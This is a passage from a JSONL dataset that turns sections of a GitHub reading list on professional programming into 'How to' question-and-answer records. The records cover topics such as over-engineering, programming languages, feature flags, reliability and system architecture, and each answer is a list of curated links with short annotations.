Anomaly Detection Using Plain SQL](https://hakibenita.com/sql-anomaly-detection)\n- [How percentile approximation works (and why it's more useful than averages)](https://www.timescale.com/blog/how-percentile-approximation-works-and-why-its-more-useful-than-averages/)\n- [Implementing health checks](https://aws.amazon.com/builders-library/implementing-health-checks/)\n- [IETF RFC Health Check Response Format for HTTP APIs](https://datatracker.ietf.org/doc/html/draft-inadarei-api-health-check-06)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520134"}
{"id": "gh_eece6236ae80", "question": "How to: Open source", "question_body": "About charlax/professional-programming", "answer": "- [Non-code contributions are the secret to open source success](https://github.com/readme/featured/open-source-non-code-contributions)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520139"}
{"id": "gh_182c936c053e", "question": "How to: Operating system (OS)", "question_body": "About charlax/professional-programming", "answer": "- 📖 [The Linux Programming Interface: A Linux and UNIX System Programming Handbook](http://www.amazon.com/The-Linux-Programming-Interface-Handbook/dp/1593272200): already mentioned above.\n- 📖 [Modern Operating Systems](https://www.amazon.com/dp/013359162X/), Andrew Tanenbaum, Herbert Bos (not read)\n- 📖 [Operating Systems: Three Easy Pieces](https://pages.cs.wisc.edu/~remzi/OSTEP/) (free book, not read)\n- 📖 [Linux Kernel Development](https://www.amazon.com/Linux-Kernel-Development-Robert-Love/dp/0672329468), Robert Love. A very complete introduction to developing within the Linux Kernel.\n- [The 10 Operating System Concepts Software Developers Need to Remember](https://jameskle.com/writes/operating-systems)\n- Play with xv6 on [MIT 6.828](https://pdos.csail.mit.edu/6.828/2016/schedule.html)\n- [macOS Internals](https://gist.github.com/kconner/cff08fe3e0bb857ea33b47d965b3e19f)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520146"}
{"id": "gh_83f06d6b11fb", "question": "How to: Over-engineering", "question_body": "About charlax/professional-programming", "answer": "- [10 modern software over-engineering mistakes](https://medium.com/@rdsubhas/10-modern-software-engineering-mistakes-bc67fbef4fc8#.da6dvzyne)\n- [A good example of over-engineering: the Juicero press](https://blog.bolt.io/heres-why-juicero-s-press-is-so-expensive-6add74594e50) (April 2017)\n- [You Are Not Google](https://blog.bradfieldcs.com/you-are-not-google-84912cf44afb): the UNPHAT method to avoid cargo cult.\n  - Don’t even start considering solutions until you Understand the problem. Your goal should be to “solve” the problem mostly within the problem domain, not the solution domain.\n  - eNumerate multiple candidate solutions. Don’t just start prodding at your favorite!\n- [Overthinking](https://kerkour.com/overthinking)\n  - 1st poison: education.\n  - 2nd poison: marketing.\n  - 3rd poison: ego\n  - Solution: Stop trying to connect all the dots ahead of time. Embrace uncertainty and start doing.\n- [Don’t Let Architecture Astronauts Scare You](https://www.joelonsoftware.com/2001/04/21/dont-let-architecture-astronauts-scare-you/), Joel\n  - Sometimes smart thinkers just don’t know when to stop, and they create these absurd, all-encompassing, high-level pictures of the universe that are all good and fine, but don’t actually mean anything at all.\n  - Your typical architecture astronaut will take a fact like “Napster is a peer-to-peer service for downloading music” and ignore everything but the architecture, thinking it’s interesting because it’s peer to peer, completely missing the point that it’s interesting because you can type the name of a song and listen to it right away.\n\n> “A complex system that works is invariably found to have evolved from a simple system that worked. A complex system designed from scratch never works and cannot be patched up to make it work. You have to start over, beginning with a working simple system.”\n\n— John Gall, General systemantics, an essay on how systems work, and especially how they fail..., 1975 (this quote is sometime referred as \"Galls' law\")\n\n> \"Software engineering is what happens to programming when you add time and other programmers.\"\n\n— Rob Pike, [Go at Google: Language Design in the Service of Software Engineering](https://talks.golang.org/2012/splash.article)\n\n> You can’t connect the dots looking forward; you can only connect them looking backwards. So you have to trust that the dots will somehow connect in your future. You have to trust in something — your gut, destiny, life, karma, whatever. This approach has never let me down, and it has made all the difference in my life.\n\n— Steve Jobs", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520157"}
{"id": "gh_91b985dc2f1d", "question": "How to: Performance", "question_body": "About charlax/professional-programming", "answer": "- [Numbers Everyone Should Know](https://everythingisdata.wordpress.com/2009/10/17/numbers-everyone-should-know/)\n- [Latency numbers every programmer should know](https://gist.github.com/hellerbarde/2843375)\n- [Rob Pike's 5 Rules of Programming](http://users.ece.utexas.edu/~adnan/pike.html)\n  - You can't tell where a program is going to spend its time.\n  - Measure\n  - Fancy algorithms are slow when n is small, and n is usually small.\n  - Fancy algorithms are buggier than simple ones\n  - Data dominates.\n- [Performance comparison: counting words in Python, Go, C++, C, AWK, Forth, and Rust](https://benhoyt.com/writings/count-words/): a great way to learn about measuring performance.\n- [The Mathematical Hacker](https://www.evanmiller.org/mathematical-hacker.html)\n- [Four Kinds of Optimisation](https://tratt.net/laurie/blog/2023/four_kinds_of_optimisation.html)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520163"}
{"id": "gh_aea28dbac9d5", "question": "How to: Personal productivity", "question_body": "About charlax/professional-programming", "answer": "Check out this section on my [list of management resources, \"Personal productivity\"](https://github.com/charlax/engineering-management/#personal-productivity).", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520174"}
{"id": "gh_6e34f9bd7b7f", "question": "How to: Perspective", "question_body": "About charlax/professional-programming", "answer": "- [At 31, I have just weeks to live. Here's what I want to pass on](https://www.theguardian.com/commentisfree/2020/sep/07/terminal-cancer-live-cancer-life-death)\n  - First, the importance of gratitude.\n  - Second, a life, if lived well, is long enough.\n  - Third, it’s important to let yourself be vulnerable and connect to others.\n  - Fourth, do something for others.\n  - Fifth, protect the planet.\n- [Life Is Not Short](https://dkb.show/post/life-is-not-short)\n  - \"The most surprising thing is that you wouldn’t let anyone steal your property, but you consistently let people steal your time, which is infinitely more valuable.\" — Seneca", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520180"}
{"id": "gh_cbac769e81e8", "question": "How to: Problem solving", "question_body": "About charlax/professional-programming", "answer": "- [Dealing with Hard Problems](https://artofproblemsolving.com/articles/hard-problems)\n- [Invert, always, invert](https://www.anup.io/2020/07/20/invert-always-invert/)\n  - Define the problem - what is it that you're trying to achieve?\n  - Invert it - what would guarantee the failure to achieve this outcome?\n  - Finally, consider solutions to avoid this failure\n- 🎞 [Hammock Driven Development](https://www.youtube.com/watch?v=f84n5oFoZBc&ab_channel=ClojureTV), Rick Hickey\n  - A classic talk on problem solving.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520187"}
{"id": "gh_b855a1da74e1", "question": "How to: Product management for software engineers", "question_body": "About charlax/professional-programming", "answer": "See the [Product management section on my entrepreneurship-resources list of resources](https://github.com/charlax/entrepreneurship-resources#product-management).\n\n- Checkout this newsletter produced by Posthog: [Product for Engineers](https://newsletter.posthog.com/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520191"}
{"id": "gh_64dbd71bb0d2", "question": "How to: Project management", "question_body": "About charlax/professional-programming", "answer": "See the [Project management section on my engineering-management list of resources](https://github.com/charlax/engineering-management#project-management).", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520195"}
{"id": "gh_08ab7d1fd0a4", "question": "How to: Programming languages", "question_body": "About charlax/professional-programming", "answer": "I would recommend learning:\n\n- JavaScript and maybe another interpreted language (Python, Ruby, etc.). Interpreted languages are useful for quick one-off automation scripts, and fastest to write for interviews. JavaScript is ubiquitous.\n- A compiled language (Java, C, C++...).\n  - [Learn c in Y Minutes](https://learnxinyminutes.com/docs/c/)\n- A more recent language to see where the industry is going (as of writing, Go, Swift, Rust, Elixir...).\n- A language that has first-class support for functional programming (Haskell, Scala, Clojure...).\n\nA bit more reading:\n\n- [A brief, incomplete, mostly wrong history of programming languages](http://james-iry.blogspot.fr/2009/05/brief-incomplete-and-mostly-wrong.html)\n- [Types](https://gist.github.com/garybernhardt/122909856b570c5c457a6cd674795a9c)\n- [Resources To Help You To Create Programming Languages](https://tomassetti.me/resources-create-programming-languages/)\n- [Effective Programs - 10 Years of Clojure](https://www.youtube.com/watch?v=2V1FtfBDsLU) 🎞, Rich Hickey. The author of Clojure reflects on his programming experience and explains the rationale behind some of Clojure's key design decisions.\n- [Learn more programming languages, even if you won't use them](https://thorstenball.com/blog/2019/04/09/learn-more-programming-languages/), Thorsten Ball\n  - These new perspectives, these ideas and patterns — they linger, they stay with you, even if you end up in another language. And that is powerful enough to keep on learning new languages, because one of the best things that can happen to you when you’re trying to solve a problem is a change of perspective.\n- [Programming Language Checklist](https://famicol.in/language_checklist.html): a fun take on \"so you want to build your own language?\"\n- [Static vs. dynamic languages: a literature review](http://danluu.com/empirical-pl/)\n- [Polyglot Programming and the Benefits of Mastering Several Languages](https://www.stxnext.com/blog/polyglot-programming/)\n- [It's not what programming languages do, it's what they shepherd you to](https://nibblestew.blogspot.com/2020/03/its-not-what-programming-languages-do.html)\n- [Ask HN: What do you code when learning a new language/framework?](https://news.ycombinator.com/item?id=32092943)\n- [The seven programming ur-languages](https://madhadron.com/programming/seven_ur_languages.html): ALGOL, Lisp, ML, Self, Forth, APL, Prolog\n- [Lua: The Little Language That Could](https://matt.blwt.io/post/lua-the-little-language-that-could/)\n- [The Montréal Effect: Why Programming Languages Need a Style Czar](https://earthly.dev/blog/language-style-czar/)\n- [TodePond/DreamBerd: a perfect programming language](https://github.com/TodePond/DreamBerd)\n- [Programming Languages That Blew My Mind](https://yoric.github.io/post/programming-languages-that-blew-my-mind/)\n\n> There are only two kinds of languages: the ones people complain about and the ones nobody uses.\n\n-- Bjarne Stroustrup (C++ creator)\n\nList of resources:\n\n- [Great Works in Programming Languages](https://www.cis.upenn.edu/~bcpierce/courses/670Fall04/GreatWorksInPL.shtml)\n\n#### Python\n\nFor Python check out my [professional Python education repository](https://github.com/charlax/python-education).\n\n#### JavaScript\n\nIn this repository: check [./training/front-end/](./training/front-end/)\n\nJavaScript is such a pervasive language that it's almost required learning.\n\n- [mbeaudru/modern-js-cheatsheet](https://github.com/mbeaudru/modern-js-cheatsheet): cheatsheet for the JavaScript knowledge you will frequently encounter in modern projects.\n- [javascript-tutorial](https://github.com/javascript-tutorial): comprehensive JavaScript guide with simple but detailed explanantions. Available in several languages.\n- [30 Days of JavaScript](https://github.com/Asabeneh/30-Days-Of-JavaScript): 30 days of JavaScript programming challenge is a step-by-step guide to learn JavaScript programming language in 30 days.\n- [Unleash JavaScript's Potential with Functional Programming](https://janhesters.com/blog/unleash-javascripts-potential-with-functional-programming)\n\n#### Garbage collection\n\n- [A Guide to the Go Garbage Collector](https://go.dev/doc/gc-guide): a very insightful guide about Go's GC", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520213"}
{"id": "gh_19590bbcefa3", "question": "How to: Programming paradigm", "question_body": "About charlax/professional-programming", "answer": "- [Imperative vs Declarative Programming](https://tylermcginnis.com/imperative-vs-declarative-programming/), Tyler McGinnis.\n  - I draw the line between declarative and non-declarative at whether you can trace the code as it runs. Regex is 100% declarative, as it’s untraceable while the pattern is being executed.\n- 🎞 [Imperative vs Declarative Programming](https://www.youtube.com/watch?v=E7Fbf7R3x6I&ab_channel=uidotdev)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520220"}
{"id": "gh_c6e6ff058102", "question": "How to: Public speaking (presenting)", "question_body": "About charlax/professional-programming", "answer": "- [Speaking for hackers](https://sfhbook.netlify.app/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520224"}
{"id": "gh_b29205342f60", "question": "How to: Refactoring", "question_body": "About charlax/professional-programming", "answer": "- [The Rule of Three](https://blog.codinghorror.com/rule-of-three/), Coding Horror\n  - Every programmer ever born thinks whatever idea just popped out of their head into their editor is the most generalized, most flexible, most one-size-fits all solution that has ever been conceived.\n  - It is three times as difficult to build reusable components as single use components.\n  - A reusable component should be tried out in three different applications before it will be sufficiently general to accept into a reuse library.\n- [Refactor vs. Rewrite](https://remesh.blog/refactor-vs-rewrite-7b260e80277a)\n- [Tripping over the potholes in too many libraries](https://blog.carlmjohnson.net/post/2020/avoid-dependencies/)\n- [Build It Yourself](https://lucumr.pocoo.org/2025/1/24/build-it-yourself/)\n  - It's 2025 and it's faster for me to have ChatGPT or Cursor whip up a dependency free implementation of these common functions, than it is for me to start figuring out a dependency.\n- [Refactoring with Codemods to Automate API Changes](https://martinfowler.com/articles/codemods-api-refactoring.html), martinfowler.com", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520233"}
{"id": "gh_9760c29486df", "question": "How to: Releasing & deploying", "question_body": "About charlax/professional-programming", "answer": "- [How to deploy software](https://zachholman.com/posts/deploying-software), Zach Holman\n- [BlueGreenDeployment](http://martinfowler.com/bliki/BlueGreenDeployment.html), Martin Fowler\n- [Move fast and break nothing](https://zachholman.com/talk/move-fast-break-nothing/), Zach Holman\n- 🏙 [Move fast and don't break things](https://docs.google.com/presentation/d/15gNk21rjer3xo-b1ZqyQVGebOp_aPvHU3YH7YnOMxtE/edit#slide=id.g437663ce1_53_591), Google\n- [Shipping to Production](https://blog.pragmaticengineer.com/shipping-to-production/), The Pragmatic Programmer\n\n#### Versioning\n\n- [SemVer - Semantic Versioning](https://semver.org/)\n- [CalVer - Calendar Versioning](https://calver.org/)\n- [Semantic Versioning Will Not Save You](https://hynek.me/articles/semver-will-not-save-you/)\n- [Version numbers: how to use them?](https://bernat.tech/posts/version-numbers/)\n\n#### Checklists\n\n- [Production Readiness Checklist](https://gruntwork.io/devops-checklist/), Gruntwork\n- [Checklist: what had to be done before deploying microservices to production](https://habr.com/en/post/438186/)\n- [Things end users care about but programmers don't](https://instadeq.com/blog/posts/things-end-users-care-about-but-programmers-dont/): includes colors, formatting, themes, integrations, UX, compatibility, operations.\n\n#### Feature flags\n\n- [Flipping out](http://code.flickr.net/2009/12/02/flipping-out/), Flickr. One of the first articles about feature flags.\n- [Feature Flags, Toggles, Controls](https://featureflags.io/), a website documenting feature flags, from Launch Darkly.\n- [Feature Toggles (aka Feature Flags)](https://martinfowler.com/articles/feature-toggles.html), Pete Hodgson, martinFowler.com. Comprehensive article on the topic.\n  - Deliver new functionality to users rapidly but safely\n  - Release Toggles allow incomplete and un-tested codepaths to be shipped to production as latent code which may never be turned on.\n  - Experiment Toggles are used to perform multivariate or A/B testing.\n  - Ops Toggles control operational aspects of our system's behavior.\n  - Permissioning Toggles change the features or product experience that certain users receive.\n  - Static vs dynamic toggles\n  - Long-lived toggles vs transient toggles\n  - Savvy teams view their Feature Toggles as inventory which comes with a carrying cost, and work to keep that inventory as low as possible.\n- [Feature Flags Best Practices: Release Management](https://launchdarkly.com/blog/release-management-flags-best-practices/), LaunchDarkly\n- [How we ship code faster and safer with feature flags](https://github.blog/2021-04-27-ship-code-faster-safer-feature-flags/), Github.\n- [Flipr: Making Changes Quickly and Safely at Scale](https://eng.uber.com/flipr/), Uber\n- [Feature flags are ruining your codebase](https://zaidesanton.substack.com/p/feature-flags-are-ruining-your-codebase)\n\n#### Testing in production\n\n- [Why We Leverage Multi-tenancy in Uber's Microservice Architecture](https://eng.uber.com/multitenancy-microservice-architecture/)\n- [Developing in Production](https://tersesystems.com/blog/2020/01/22/developing-in-production/)\n  - Complex systems have emergent behavior, producing epiphenomenon that only appears with sufficient scale.\n  - Wood's theorem: As the complexity of a system increases, the accuracy of any single agent’s own model of that system decreases rapidly.\n  - The more tools and code that you add to create elements in a system, the harder it is to replicate an environment encompassing those tools and code.\n  - At the core of testing in production is the idea of splitting deployments (of artifacts) from releases (of features).\n- [Testing in Production: the hard parts](https://medium.com/@copyconstruct/testing-in-production-the-hard-parts-3f06cefaf592), Cindy Sridharan\n  - The whole point of [actual] distributed systems engineering is you assume you’re going to fail at some point in time and you design the system in such a way that the damage, at each point is minimized, that recovery is quick, and that the risk is acceptably balanced with cost.\n  - How can you cut the blast radius for a similar event in half?\n    - Differentiate between deployment (0 risk) and release\n    - Build a deploy-observe-release pipeline\n    - Make incremental rollouts the norm (canaries, %-based rollouts, etc.)\n    - Test configuration changes just like you test code\n    - Default to roll back, avoid fixing forward (slow!)\n    - Eliminate gray failures - prefer crashing to degrading in certain cases\n    - Prefer loosely coupled services at the expense of latency or correctness\n    - Use poison tasters (isolate handling of client input)\n    - Implement per-request-class backpressure\n    - Have proper visibility from a client/end-user standpoint (client-side metrics)\n- [Testing in Production, the safe way](https://medium.com/@copyconstruct/testing-in-production-the-safe-way-18ca102d0ef1)\n- [Multi-Tenancy in a Microservice Architecture](https://www.usenix.org/system/files/login/article", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 50255, "answer_score": 10, "has_code": true, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520255"}
{"id": "gh_113cc35ac3c4", "question": "How to: Reliability", "question_body": "About charlax/professional-programming", "answer": "**See also [System architecture](#system-architecture)**\n\nBooks:\n\n- 📖 [Site Reliability Engineering](https://landing.google.com/sre/books/), Google\n  - Written by members of Google's SRE team, with a comprehensive analysis of the entire software lifecycle - how to build, deploy, monitor, and maintain large scale systems.\n- 📖 [Incident Metrics in SRE](https://static.googleusercontent.com/media/sre.google/en//static/pdf/IncidentMeticsInSre.pdf), Štěpán Davidovič, Google\n  - Canonical definition of TTD (Time To Detect) TTM (Mitigate), TTR (Recover), TBF (Time Between Failure)\n\nQuotes:\n\n> Quality is a snapshot at the start of life and reliability is a motion picture of the day-by-day operation.\n> – [NIST](https://www.itl.nist.gov/div898/handbook/apr/section1/apr111.htm)\n> Reliability is the one feature every customer users. -- An auth0 SRE.\n\nArticles:\n\n- I already mentioned the book Release it! above. There's also a [presentation](http://www.slideshare.net/justindorfman/stability-patterns-presentation) from the author.\n- [Service Recovery: Rolling Back vs. Forward Fixing](https://www.linkedin.com/pulse/service-recovery-rolling-back-vs-forward-fixing-mohamed-el-geish/)\n- [How Complex Systems Fail](https://how.complexsystems.fail/)\n  - Catastrophe requires multiple failures – single point failures are not enough.\n  - Complex systems contain changing mixtures of failures latent within them.\n  - Post-accident attribution to a ‘root cause’ is fundamentally wrong.\n  - Hindsight biases post-accident assessments of human performance.\n  - Safety is a characteristic of systems and not of their components\n  - Failure free operations require experience with failure.\n- [Systems that defy detailed understanding](https://blog.nelhage.com/post/systems-that-defy-understanding/)\n  - Focus effort on systems-level failure, instead of the individual component failure.\n  - Invest in sophisticated observability tools, aiming to increase the number of questions we can ask without deploying custom code\n- [Operating a Large, Distributed System in a Reliable Way: Practices I Learned](https://blog.pragmaticengineer.com/operating-a-high-scale-distributed-system/), Gergely Orosz.\n  - A good summary of processes to implement.\n- [Production Oriented Development](https://paulosman.me/2019/12/30/production-oriented-development.html)\n  - Code in production is the only code that matters\n  - Engineers are the subject matter experts for the code they write and should be responsible for operating it in production.\n  - Buy Almost Always Beats Build\n  - Make Deploys Easy\n  - Trust the People Closest to the Knives\n  - QA Gates Make Quality Worse\n  - Boring Technology is Great.\n  - Non-Production Environments Have Diminishing Returns\n  - Things Will Always Break\n- 🏙 [High Reliability Infrastructure migrations](https://speakerdeck.com/jvns/high-reliability-infrastructure-migrations), Julia Evans.\n- [Appendix F: Personal Observations on the Reliability of the Shuttle](https://www.refsmmat.com/files/reflections.pdf), Richard Feynman\n- [Lessons learned from two decades of Site Reliability Engineering](https://sre.google/resources/practices-and-processes/twenty-years-of-sre-lessons-learned/)\n- [Service Reliability Mathematics](https://addyosmani.com/blog/service-reliability/), Addy Osmani\n\nResources:\n\n- 🧰 [dastergon/awesome-sre](https://github.com/dastergon/awesome-sre)\n- 🧰 [upgundecha/howtheysre](https://github.com/upgundecha/howtheysre): a curated collection of publicly available resources on SRE at technology and tech-savvy organizations\n\n#### Integration patterns (dependency management)\n\n- [Circuit Breaker](https://martinfowler.com/bliki/CircuitBreaker.html) (mentioned in the Release it! book)\n  - [Making the Netflix API More Resilient](https://netflixtechblog.com/making-the-netflix-api-more-resilient-a8ec62159c2d), Netflix Blog\n  - 🏙 [Application Resilience Engineering & Operations at Netflix - Speaker Deck](https://speakerdeck.com/benjchristensen/application-resilience-engineering-and-operations-at-netflix)\n  - [Design Pattern: Circuit Breaker](https://learn.microsoft.com/en-us/azure/architecture/patterns/circuit-breaker), Microsoft Azure\n- [Rate limiter algorithms](https://smudge.ai/blog/ratelimit-algorithms) (and their [implementation](https://github.com/upstash/ratelimit-js/blob/main/src/lua-scripts/single.ts))\n- [Interactive Guide: Mastering Rate Limiting](https://blog.sagyamthapa.com.np/interactive-guide-to-rate-limiting)\n- [Good Retry, Bad Retry: An Incident Story](https://medium.com/yandex/good-retry-bad-retry-an-incident-story-648072d3cee6): insightful, well-written story about retries, circuit breakers, deadline, etc.\n\n#### Resiliency\n\n- 🏙 [The Walking Dead - A Survival Guide to Resilient Applications](https://speakerdeck.com/daschl/the-walking-dead-a-survival-guide-to-resilient-applications)\n- 🏙 [Defensive Programming & Resilient systems in Real World (TM)](https://speakerdeck.com/tuenti/defensive-programming-and-resilient-systems-in-real-wor", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520281"}
{"id": "gh_41e0dbbb3c5e", "question": "How to: Research papers", "question_body": "About charlax/professional-programming", "answer": "- [Papers we love](https://github.com/papers-we-love/papers-we-love): papers from the computer science community to read and discuss. Can be a good source of inspiration of solving your design problems.\n- [The morning paper](https://blog.acolyer.org/): one CS research paper explained every morning.\n- [The 7 Most Influential Papers in Computer Science History](https://terriblesoftware.org/2025/01/22/the-7-most-influential-papers-in-computer-science-history/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520293"}
{"id": "gh_b5218b934c09", "question": "How to: Shell (command line)", "question_body": "About charlax/professional-programming", "answer": "- [The case for bash](https://www.neversaw.us/2021/04/02/the-case-for-bash/)\n- 🧰 [alebcay/awesome-shell](https://github.com/alebcay/awesome-shell)\n- 🧰 [dylanaraps/pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible): pure bash alternatives to external processes.\n- [The Bash Hackers Wiki](https://wiki.bash-hackers.org/) provides a gentler way to learn about bash than its manages.\n- [Awk in 20 Minutes](https://ferd.ca/awk-in-20-minutes.html)\n- 🏙 [Linux Productivity Tools](https://www.usenix.org/sites/default/files/conference/protected-files/lisa19_maheshwari.pdf)\n- [jlevy/the-art-of-command-line](https://github.com/jlevy/the-art-of-command-line): master the command line, in one page **must read**\n- [Minimal safe Bash script template](https://betterdev.blog/minimal-safe-bash-script-template/)\n- [Command Line Interface Guidelines](https://clig.dev/)\n- [The Linux Commands Handbook](https://openbootcamps.com/the-linux-commands-handbook/)\n- [How to write idempotent Bash scripts](https://arslan.io/2019/07/03/how-to-write-idempotent-bash-scripts/)\n- [Learn bash by playing an adventure](https://gitlab.com/slackermedia/bashcrawl)\n- [Effective Shell](https://effective-shell.com/)\n- [Computing from the Command Line](https://learnbyexample.github.io/cli-computing/preface.html)\n- [What helps people get comfortable on the command line?](https://jvns.ca/blog/2023/08/08/what-helps-people-get-comfortable-on-the-command-line-/), Julia Evans\n- [6 Techniques I Use to Create a Great User Experience for Shell Scripts](https://nochlin.com/blog/6-techniques-i-use-to-create-a-great-user-experience-for-shell-scripts)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520302"}
{"id": "gh_ce146a58d27e", "question": "How to: System administration", "question_body": "About charlax/professional-programming", "answer": "- 🧰 [kahun/awesome-sysadmin](https://github.com/kahun/awesome-sysadmin): a curated list of amazingly awesome open source sysadmin resources", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520312"}
{"id": "gh_2bb08a4bad63", "question": "How to: System architecture", "question_body": "About charlax/professional-programming", "answer": "**See also [Reliability](#system-architecture), [Scalability](#scalability)**\n\nReading lists:\n\n- 🧰 [donnemartin/system-design-primer](https://github.com/donnemartin/system-design-primer): learn how to design large scale systems. Prep for the system design interview.\n- 🧰 [A Distributed Systems Reading List](http://dancres.github.io/Pages/)\n- 🧰 [Foundational distributed systems papers](http://muratbuffalo.blogspot.com/2021/02/foundational-distributed-systems-papers.html)\n- 🧰 [Services Engineering Reading List](https://github.com/mmcgrana/services-engineering)\n- 🧰 [System Design Cheatsheet](https://gist.github.com/vasanthk/485d1c25737e8e72759f)\n- [karanpratapsingh/system-design](https://github.com/karanpratapsingh/system-design): learn how to design systems at scale and prepare for system design interviews\n- [A Distributed Systems Reading List](https://ferd.ca/a-distributed-systems-reading-list.html)\n\nBlogs:\n\n- [High Scalability](http://highscalability.com/): great blog about system architecture, its weekly review article are packed with numerous insights and interesting technology reviews. Checkout the [all-times favorites](http://highscalability.com/all-time-favorites/).\n\nBooks:\n\n- 📖 [Building Microservices](https://www.amazon.com/Building-Microservices-Designing-Fine-Grained-Systems/dp/1491950358), Sam Newman (quite complete discussion of microservices)\n- 📖 [Designing Data-Intensive Applications](https://dataintensive.net/)\n\nArticles:\n\n- [6 Rules of thumb to build blazing fast web server applications](http://loige.co/6-rules-of-thumb-to-build-blazing-fast-web-applications/)\n- [The twelve-factor app](http://12factor.net/)\n- [Introduction to architecting systems for scale](http://lethain.com/introduction-to-architecting-systems-for-scale/)\n- [The Log: What every software engineer should know about real-time data's unifying abstraction](https://engineering.linkedin.com/distributed-systems/log-what-every-software-engineer-should-know-about-real-time-datas-unifying): one of those classical articles that everyone should read.\n- [Turning the database outside-out with Apache Samza](https://www.confluent.io/blog/turning-the-database-inside-out-with-apache-samza/)\n- [Fallacies of distributed computing](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing), Wikipedia\n- [The biggest thing Amazon got right: the platform](https://gigaom.com/2011/10/12/419-the-biggest-thing-amazon-got-right-the-platform/)\n  - All teams will henceforth expose their data and functionality through service interfaces.\n  - Monitoring and QA are the same thing.\n- [Building Services at Airbnb, part 3](https://medium.com/airbnb-engineering/building-services-at-airbnb-part-3-ac6d4972fc2d)\n  - Resilience is a Requirement, Not a Feature\n- [Building Services at Airbnb, part 4](https://medium.com/airbnb-engineering/building-services-at-airbnb-part-4-23c95e428064)\n  - Building Schema Based Testing Infrastructure for service development\n- [Patterns of Distributed Systems](https://martinfowler.com/articles/patterns-of-distributed-systems/), MartinFowler.com\n- [ConwaysLaw](https://martinfowler.com/bliki/ConwaysLaw.html), MartinFowler.com (regarding organization, check out my [engineering-management](https://github.com/charlax/engineering-management/) list).\n- [The C4 model for visualising software architecture](https://c4model.com/)\n- [If Architects had to work like Programmers](http://www.gksoft.com/a/fun/architects.html)\n\n#### Architecture patterns\n\n- BFF (backend for frontend)\n  - [Backends For Frontends](https://samnewman.io/patterns/architectural/bff/)\n- [Load Balancing](https://samwho.dev/load-balancing/): a visual exploration of load balancing algos\n- [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)\n  - Operational excellence\n  - Security\n  - Reliability\n  - Performance efficiency\n  - Cost optimization\n  - Sustainability\n\n#### Microservices/splitting a monolith\n\n- [Monolith First](https://martinfowler.com/bliki/MonolithFirst.html), 